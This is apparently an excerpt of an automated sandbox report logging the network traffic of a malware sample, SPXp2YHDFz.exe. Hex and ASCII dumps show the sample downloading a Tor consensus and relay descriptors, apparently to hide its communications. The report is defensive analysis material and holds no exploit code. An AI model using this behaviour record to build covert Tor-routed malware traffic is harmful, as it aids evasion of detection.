68 61 2c 30 2e 34 2e 37 2e 33 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 34 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 35 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 36 2d 72 63 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 0a 6b 6e 6f 77 6e 2d 66 6c 61 67 73 20 41 75 74 68 6f 72 69 74 79 20 42 61 64 45 78 69 74 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 4e 6f 45 64 43 6f 6e 73 65 6e 73 75 73 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 53 74 61 6c 65 44 65 73 63 20 53 79 62 69 6c 20 56 32 44 69 72 20 56 61 6c 69 64 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 4c 69 6e 6b 3d 34 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f Data Ascii: network-status-version 3vote-status consensusconsensus-method 32valid-after 2022-10-24 09:00:00fresh-until 2022-10-24 10:00:00valid-until 2022-10-24 12:00:00voting-delay 300 300client-versions 0.4.5.1-alpha,0.4.5.2-alpha,0.4.5.3-rc,0.4.5.4-rc,0.4.5.5-rc,0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.7.1-alpha,0.4.7.2-alpha,0.4.7.3-alpha,0.4.7.4-alpha,0.4.7.5-alpha,0.4.7.6-rc,0.4.7.7,0.4.7.8,0.4.7.10server-versions 0.4.5.5-rc,0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.7.1-alpha,0.4.7.2-alpha,0.4.7.3-alpha,0.4.7.4-alpha,0.4.7.5-alpha,0.4.7.6-rc,0.4.7.7,0.4.7.8,0.4.7.10known-flags Authority BadExit Exit Fast Guard HSDir NoEdConsensus Running Stable StaleDesc Sybil V2Dir Validrecommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2required-relay-protocols Co
Oct 24, 2022 11:09:02.446320057 CEST	2649	IN	Data Raw: 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 Data Ascii: ns=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCreationEnabled=1 DoSCircuitCreationMinConnections=2 DoSCircuitCreationRate
Oct 24, 2022 11:09:02.446338892 CEST	2651	IN	Data Raw: 74 6f 72 5f 70 65 72 69 6f 64 5f 73 65 63 73 3d 31 30 38 30 30 20 6f 76 65 72 6c 6f 61 64 5f 6f 6e 69 6f 6e 73 6b 69 6e 5f 6e 74 6f 72 5f 73 63 61 6c 65 5f 70 65 72 63 65 6e 74 3d 35 30 30 20 73 65 6e 64 6d 65 5f 65 6d 69 74 5f 6d 69 6e 5f 76 65 Data Ascii: tor_period_secs=10800 overload_onionskin_ntor_scale_percent=500 sendme_emit_min_version=1shared-rand-previous-value 9 CEgH9nGSPGGldWgpTiNB8ktMi7U85TgcE1fpst2jcUc=shared-rand-current-value 9 dn+4b/OLLk84s5H2hUfLnWF+L04m8/PsRA5+jVuyLx8=dir-so
Oct 24, 2022 11:09:02.446361065 CEST	2652	IN	Data Raw: 31 38 33 30 39 44 45 44 34 43 44 36 44 35 37 43 31 38 46 44 42 39 37 45 46 41 39 36 44 33 33 30 35 36 36 20 31 32 38 2e 33 31 2e 30 2e 32 34 20 31 32 38 2e 33 31 2e 30 2e 32 34 20 39 31 33 31 20 39 31 30 31 0a 63 6f 6e 74 61 63 74 20 31 30 32 34 Data Ascii: 18309DED4CD6D57C18FDB97EFA96D330566 128.31.0.24 128.31.0.24 9131 9101contact 1024D/EB5A896A28988BF5 arma mit eduvote-digest 86932C67F285958234AF644859B62C071E5CF59Bdir-source dizum E8A9C45EDE6D711294FADF8E7951F4DE6CA56B58 45.66.33.45 45.66.
Oct 24, 2022 11:09:02.446378946 CEST	2653	IN	Data Raw: 30 30 3a 31 31 3a 31 31 20 31 33 37 2e 31 38 34 2e 31 33 2e 31 32 30 20 34 34 33 20 30 0a 61 20 5b 32 36 30 34 3a 61 38 38 30 3a 34 3a 31 64 30 3a 3a 32 37 64 3a 66 30 30 30 5d 3a 34 34 33 0a 73 20 46 61 73 74 20 52 75 6e 6e 69 6e 67 20 56 32 44 Data Ascii: 00:11:11 137.184.13.120 443 0a [2604:a880:4:1d0::27d:f000]:443s Fast Running V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Ban
Oct 24, 2022 11:09:02.446397066 CEST	2654	IN	Data Raw: 2d 36 35 35 33 35 0a 72 20 53 74 61 72 41 70 70 73 4d 6f 62 6c 65 79 20 41 43 67 37 56 57 54 6a 42 79 33 4e 32 72 4d 64 62 76 59 69 33 55 6d 2f 55 6b 38 20 49 2f 6b 44 6c 44 7a 69 63 33 4c 6b 4b 52 61 68 58 54 70 4a 7a 6e 51 77 79 4d 6f 20 32 30 Data Ascii: -65535r StarAppsMobley ACg7VWTjBy3N2rMdbvYi3Um/Uk8 I/kDlDzic3LkKRahXTpJznQwyMo 2022-10-24 05:47:25 195.15.242.99 9001 0a [2001:1600:10:100::201]:9001s Fast Guard Running Stable V2Dir Validv Tor 0.4.7.7pr Cons=1-2 Desc=1-2 DirCache=2 FlowC
Oct 24, 2022 11:09:02.446413994 CEST	2656	IN	Data Raw: 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 Data Ascii: l=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=9300p reject 1-65535r namie AFyL+BoOH3CNtCpXPISvAlpAb88 r9QzCKrNF8lYwbnDnIO0cpavY3k 2022-10-24 02:47:30 109.241.109.93 443 0s Fast Runn
Oct 24, 2022 11:09:02.446434021 CEST	2657	IN	Data Raw: 74 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 32 44 69 72 20 56 61 6c 69 64 0a 76 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 0a 70 72 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 Data Ascii: t Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=23000p reject 1-65535r Quintex13 AHe8unJE2z5qXtJ0boYX
Oct 24, 2022 11:09:02.446450949 CEST	2658	IN	Data Raw: 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 31 34 0a 70 20 72 65 6a 65 63 74 20 31 2d 36 35 35 33 35 0a 72 20 42 6c 61 63 6b 42 65 6c 75 67 61 20 41 4a 59 74 4c 64 43 35 76 7a 70 71 38 64 58 72 49 42 45 79 4f 49 72 4b 46 43 Data Ascii: Relay=1-4w Bandwidth=14p reject 1-65535r BlackBeluga AJYtLdC5vzpq8dXrIBEyOIrKFCQ Jc3bHf5g0eXR4rkpWM4IWaEcHt0 2022-10-23 21:50:34 5.189.155.39 9001 0s Fast HSDir Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 Flow
Oct 24, 2022 11:09:02.446468115 CEST	2660	IN	Data Raw: 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 34 35 30 30 30 0a 70 20 72 65 6a 65 63 74 20 31 Data Ascii: nk=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=45000p reject 1-65535r roterechtehand ALwRxEi3DILGEA9bE2LflQpgnwo WpwF6wWcjaeO/w2LTH4vIwDpSWs 2022-10-23 20:25:31 213.144.130.195 4569 0s Fast Running V2Dir Validv Tor 0.4.5
Oct 24, 2022 11:09:02.446485043 CEST	2661	IN	Data Raw: 32 33 2c 35 32 32 38 2c 35 39 30 30 2c 36 36 36 30 2d 36 36 36 39 2c 36 36 37 39 2c 36 36 39 37 2c 38 30 30 30 2c 38 30 30 38 2c 38 30 37 34 2c 38 30 38 30 2c 38 30 38 32 2c 38 30 38 37 2d 38 30 38 38 2c 38 33 33 32 2d 38 33 33 33 2c 38 34 34 33 Data Ascii: 23,5228,5900,6660-6669,6679,6697,8000,8008,8074,8080,8082,8087-8088,8332-8333,8443,8888,9418,9999-10000,11371,19294,19638,50002,64738r tried ANLOPCFT6gl4byEF8msTjPdZQk8 3grdaAsHQt8ueF90Mu22lricuaw 2022-10-23 20:28:29 107.155.81.178 443 0s Fa

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49713	51.77.109.21	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:44.827342033 CEST	7642	OUT	GET /tor/server/fp/1ec775024a7f2f4f46bfe1e7c587daacdc5204d5 HTTP/1.0 Host: 51.77.109.21 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:44.916500092 CEST	7644	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:44 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:44 GMT Data Raw: 72 6f 75 74 65 72 20 44 79 6e 61 6d 69 63 6b 61 43 69 62 75 6c 65 20 31 30 37 2e 31 38 39 2e 32 38 2e 31 32 31 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 44 4d 41 5a 67 5a 6e 55 5a 39 55 58 34 72 6f 48 51 32 34 37 62 42 48 72 77 39 47 50 6e 43 45 2f 36 2b 75 57 49 51 2f 43 49 61 51 4a 38 73 41 51 41 67 42 41 41 56 48 41 78 6e 0a 38 70 4c 49 61 37 2f 49 6d 6a 6b 65 7a 47 6a 56 78 6e 5a 78 59 71 67 66 39 58 6a 73 37 54 32 37 48 4b 4d 71 64 61 4c 41 50 70 35 35 35 79 71 4c 4f 6f 4d 55 53 33 41 56 61 6b 4d 43 77 79 38 38 0a 53 6d 33 51 62 64 63 44 62 38 38 76 30 45 50 48 6c 54 56 6d 47 43 67 37 5a 71 52 55 58 78 6e 59 4d 59 75 4d 48 42 55 6d 4e 4f 49 47 58 48 67 6e 4f 77 30 67 70 33 73 41 41 77 59 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 46 52 77 4d 5a 2f 4b 53 79 47 75 2f 79 4a 6f 35 48 73 78 6f 31 63 5a 32 63 57 4b 6f 48 2f 56 34 37 4f 30 39 75 78 79 6a 4b 6e 55 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 36 30 35 3a 36 34 30 30 3a 33 30 3a 66 31 66 36 3a 62 31 62 32 3a 63 66 65 39 3a 37 61 37 31 3a 36 39 64 31 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 38 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 34 20 30 35 3a 33 34 3a 32 36 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 31 45 43 37 20 37 35 30 32 20 34 41 37 46 20 32 46 34 46 20 34 36 42 46 20 45 31 45 37 20 43 35 38 37 20 44 41 41 43 20 44 43 35 32 20 30 34 44 35 0a 75 70 74 69 6d 65 20 32 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 39 31 35 31 34 38 38 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 36 36 33 38 42 39 39 42 35 37 34 38 35 33 38 44 39 36 32 45 42 30 43 35 37 33 38 30 31 31 35 33 31 39 32 41 35 42 41 46 20 41 44 79 79 63 36 47 68 4d 64 73 51 71 6f 5a 63 6e 52 33 69 42 6b 5a 39 72 65 47 4d 44 69 45 77 72 79 70 75 2f 38 32 4c 4c 49 6f 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 77 59 75 74 77 49 69 68 4d 6e 6f 31 47 67 6b 7a 70 77 74 75 59 62 77 67 55 67 2f 4d 7a 59 37 52 49 6f 46 50 52 7a 6b 2f 6f 55 61 6e 34 4b 45 4c 69 53 76 5a 47 73 0a 56 42 4f 31 55 71 4e 70 7a 44 35 64 36 78 31 32 73 44 59 39 68 77 4e 35 46 57 65 6f 39 49 55 71 73 4b 49 69 63 57 72 45 49 36 69 4f 32 42 36 68 30 42 4e 4c 49 51 6b 71 6c 71 57 6e 35 4d 6a 67 0a 38 52 57 78 62 58 44 58 6a 39 39 36 69 73 35 48 56 78 6e 37 58 64 6b 5a 72 7a 37 32 78 52 44 6c 6b 70 6e 32 67 54 5a 47 76 35 4e 39 33 31 45 62 58 4f 4b 66 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 Data Ascii: router DynamickaCibule 107.189.28.121 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxDMAZgZnUZ9UX4roHQ247bBHrw9GPnCE/6+uWIQ/CIaQJ8sAQAgBAAVHAxn8pLIa7/ImjkezGjVxnZxYqgf9Xjs7T27HKMqdaLAPp555yqLOoMUS3AVakMCwy88Sm3QbdcDb88v0EPHlTVmGCg7ZqRUXxnYMYuMHBUmNOIGXHgnOw0gp3sAAwY=-----END ED25519 CERT-----master-key-ed25519 FRwMZ/KSyGu/yJo5Hsxo1cZ2cWKoH/V47O09uxyjKnUor-address [2605:6400:30:f1f6:b1b2:cfe9:7a71:69d1]:9001platform Tor 0.4.7.8 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-24 05:34:26fingerprint 1EC7 7502 4A7F 2F4F 46BF E1E7 C587 DAAC DC52 04D5uptime 2bandwidth 1073741824 1073741824 9151488extra-info-digest 6638B99B5748538D962EB0C573801153192A5BAF ADyyc6GhMdsQqoZcnR3iBkZ9reGMDiEwrypu/82LLIoonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKwYutwIihMno1GgkzpwtuYbwgUg/MzY7RIoFPRzk/oUan4KELiSvZGsVBO1UqNpzD5d6x12sDY9hwN5FWeo9IUqsKIicWrEI6iO2B6h0BNLIQkqlqWn5Mjg8RWxbXDXj996is5HVxn7XdkZrz72xRDlkpn2gTZGv5N931EbXOKfAgMBAAE=-----END RSA PUBLIC KEY-----s
Oct 24, 2022 11:09:44.916546106 CEST	7644	IN	Data Raw: 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 66 56 44 70 79 56 75 51 55 44 41 63 6f 71 41 4d 34 65 43 32 2b 7a 74 65 53 66 32 6e 4a 5a Data Ascii: igning-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMfVDpyVuQUDAcoqAM4eC2+zteSf2nJZz154H2p10XkhBOsnPccsRZWvCjxIlsGxjAqJHRgRvC3nE7RJ7pGgNKm9FcKNzS/A4FfAmufxclNZaEJuo3PyDgUChOtywXfk1ffPzixnnPxEFWdFvZfd531SvJYas4G7dO/RnfTFLJqzAgMBAAE=-----END R
Oct 24, 2022 11:09:44.916563988 CEST	7646	IN	Data Raw: 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 66 61 6d 69 6c 79 20 24 31 45 43 37 37 35 30 32 34 41 37 46 32 46 34 46 34 36 42 46 45 31 45 37 43 35 38 37 44 41 41 43 44 43 35 32 30 34 44 35 20 24 33 30 43 30 32 45 33 39 32 36 46 42 39 Data Ascii: ED25519 CERT-----family $1EC775024A7F2F4F46BFE1E7C587DAACDC5204D5 $30C02E3926FB9A1AC37022FF5FF0120F90EF2235hidden-service-dircontact Contact: me[]mirandaniel[]com \| XMR: 42dN1SjyQNFMu3hPjJZqXa4Z8oMMLLiPzHmC4q8h3DXWS2gHxpjACxcWyAReJGqN4RX79
Oct 24, 2022 11:09:44.916582108 CEST	7646	IN	Data Raw: 61 63 63 65 70 74 20 2a 3a 36 36 39 37 0a 61 63 63 65 70 74 20 2a 3a 38 30 30 30 0a 61 63 63 65 70 74 20 2a 3a 38 30 30 38 0a 61 63 63 65 70 74 20 2a 3a 38 30 37 34 0a 61 63 63 65 70 74 20 2a 3a 38 30 38 30 0a 61 63 63 65 70 74 20 2a 3a 38 30 38 Data Ascii: accept :6697accept :8000accept :8008accept :8074accept :8080accept :8082accept :8087-8088accept :8232-8233accept :8332-8333accept :8443accept :8888accept :9418accept :9999accept :10000accept :11371accept :19294a

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49714	192.160.102.170	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:45.179450989 CEST	7648	OUT	GET /tor/server/fp/5b9086d4bfb9ea36c95897daed72fc3973847b43 HTTP/1.0 Host: 192.160.102.170 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:45.347187042 CEST	7650	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:45 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:45 GMT Data Raw: 72 6f 75 74 65 72 20 62 61 75 72 75 69 6e 65 20 31 38 35 2e 32 34 33 2e 32 31 38 2e 32 37 20 38 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 46 51 41 64 6b 48 37 69 47 57 49 4c 39 38 63 54 4e 67 79 46 54 4c 53 76 4f 6b 51 71 52 4d 74 48 32 79 50 4c 6d 77 76 48 46 38 66 2f 42 64 41 51 41 67 42 41 43 43 67 73 4f 72 0a 61 2b 6b 37 38 4a 56 32 66 74 6a 70 71 35 36 73 48 56 35 56 2b 71 61 79 72 32 6c 36 31 71 76 6d 55 31 52 77 54 70 47 4a 35 2f 48 52 51 49 6e 50 4e 4c 6e 4a 71 51 4c 46 4d 49 6b 7a 49 4a 66 78 0a 72 6b 54 45 49 51 4b 6f 44 42 51 38 70 72 57 6f 65 75 72 56 54 32 69 63 78 6b 5a 63 6e 6e 36 37 37 32 39 4c 50 38 68 74 39 32 44 4a 79 41 6f 5a 77 6b 75 6c 76 58 4b 4e 74 41 59 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 67 6f 4c 44 71 32 76 70 4f 2f 43 56 64 6e 37 59 36 61 75 65 72 42 31 65 56 66 71 6d 73 71 39 70 65 74 61 72 35 6c 4e 55 63 45 34 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 33 3a 39 34 65 30 3a 66 66 66 66 3a 31 38 35 3a 32 34 33 3a 32 31 38 3a 30 3a 32 37 5d 3a 38 34 34 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 34 20 30 33 3a 35 38 3a 33 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 35 42 39 30 20 38 36 44 34 20 42 46 42 39 20 45 41 33 36 20 43 39 35 38 20 39 37 44 41 20 45 44 37 32 20 46 43 33 39 20 37 33 38 34 20 37 42 34 33 0a 75 70 74 69 6d 65 20 33 35 36 31 30 32 0a 62 61 6e 64 77 69 64 74 68 20 36 35 35 33 36 30 30 30 20 37 32 30 38 39 36 30 30 20 34 39 37 36 32 33 30 34 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 31 30 41 45 31 44 39 39 33 41 31 31 42 43 42 45 32 34 31 31 44 34 41 46 30 44 44 37 38 39 41 44 30 39 38 38 32 37 45 33 20 4a 53 2f 66 69 2b 63 2f 7a 76 38 2b 2f 48 43 50 43 4b 61 30 56 54 46 71 56 37 7a 77 49 4e 70 58 50 31 36 6d 44 76 50 58 2b 38 59 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 4f 68 57 35 34 4d 44 34 4a 43 4a 4f 79 4e 4e 59 4e 6e 47 30 32 45 41 52 32 75 6c 48 69 53 59 64 64 47 47 30 64 6d 78 47 7a 73 34 31 6a 4f 36 59 51 75 52 48 56 39 0a 61 45 6a 76 74 56 70 64 79 54 73 48 36 30 46 47 4a 37 75 51 62 6d 6c 57 6e 62 4c 44 54 62 70 6c 68 44 59 38 6f 63 39 73 45 77 61 44 41 57 48 38 4f 2b 30 78 42 63 48 67 78 54 44 48 66 4d 47 64 0a 6c 30 6c 68 79 5a 55 36 37 6d 50 6d 4f 56 78 53 4b 6d 4d 76 4b 53 79 55 36 4b 73 4b 69 78 46 50 39 79 4f 79 4c 33 6d 4e 38 75 42 6b 53 4f 4e 6d 48 43 72 37 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 Data Ascii: router bauruine 185.243.218.27 8443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxFQAdkH7iGWIL98cTNgyFTLSvOkQqRMtH2yPLmwvHF8f/BdAQAgBACCgsOra+k78JV2ftjpq56sHV5V+qayr2l61qvmU1RwTpGJ5/HRQInPNLnJqQLFMIkzIJfxrkTEIQKoDBQ8prWoeurVT2icxkZcnn67729LP8ht92DJyAoZwkulvXKNtAY=-----END ED25519 CERT-----master-key-ed25519 goLDq2vpO/CVdn7Y6auerB1eVfqmsq9petar5lNUcE4or-address [2a03:94e0:ffff:185:243:218:0:27]:8443platform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-24 03:58:38fingerprint 5B90 86D4 BFB9 EA36 C958 97DA ED72 FC39 7384 7B43uptime 356102bandwidth 65536000 72089600 49762304extra-info-digest 10AE1D993A11BCBE2411D4AF0DD789AD098827E3 JS/fi+c/zv8+/HCPCKa0VTFqV7zwINpXP16mDvPX+8Yonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMOhW54MD4JCJOyNNYNnG02EAR2ulHiSYddGG0dmxGzs41jO6YQuRHV9aEjvtVpdyTsH60FGJ7uQbmlWnbLDTbplhDY8oc9sEwaDAWH8O+0xBcHgxTDHfMGdl0lhyZU67mPmOVxSKmMvKSyU6KsKixFP9yOyL3mN8uBkSONmHCr7AgMBAAE=-----END RSA PUBLIC KEY-----signing-key
Oct 24, 2022 11:09:45.347206116 CEST	7651	IN	Data Raw: 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 2f 61 57 72 54 73 31 55 70 6c 48 52 4c 35 67 73 6e 36 6a 65 6b 36 32 58 79 48 56 2b 44 63 48 43 31 4c 75 38 6e 65 56 2b Data Ascii: -----BEGIN RSA PUBLIC KEY-----MIGJAoGBAK/aWrTs1UplHRL5gsn6jek62XyHV+DcHC1Lu8neV+cQ4xGBlS1p0rZGt7TgpRBe7mPYmncH6MoVzucCxsaB4dwEYiFkwgc12GsjezJgj80OeLb+0X5JVuEbbZSVfzGw4NfteApQsYkthKz92rC6bLQeY18h4ak+p1V/cY36A1e5AgMBAAE=-----END RSA PUBLIC
